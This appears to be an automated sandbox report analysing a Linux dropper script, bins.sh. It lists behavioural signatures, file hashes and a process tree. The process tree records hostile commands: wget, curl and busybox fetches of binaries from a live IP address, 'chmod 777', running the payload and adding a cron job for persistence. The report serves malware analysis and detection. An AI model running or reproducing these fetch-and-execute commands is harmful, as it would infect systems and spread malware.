Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/01/2025, 01:56

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-ccn8bsyrcq
  • SHA256 eef8be41bbc608ce0d28e3cbb61758177dda867088d0b00dbad3db9ad729383c
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2066) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://66.63.187.225/bins/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Writes file to tmp directory
          PID:649
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Writes file to tmp directory
          PID:677
        • /bin/chmod
          chmod 777 LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          ./LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:683
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:685
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:686
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:688
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:690
              • /bin/rm
                rm LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
                2⤵
                  PID:703
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
                  2⤵
                    PID:706

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
                      • Path /tmp/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
                      • Size 177KB
                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.cwby4g
                      • Path /var/spool/cron/crontabs/tmp.cwby4g
                      • Size 210B
                      • SHA256 828f55a1c6b8f7ede3b7fbe8c7a53c38d4172e391c32c873a58c108dabe625af
                      • MD5 SHA1 SHA512
                      Submit Download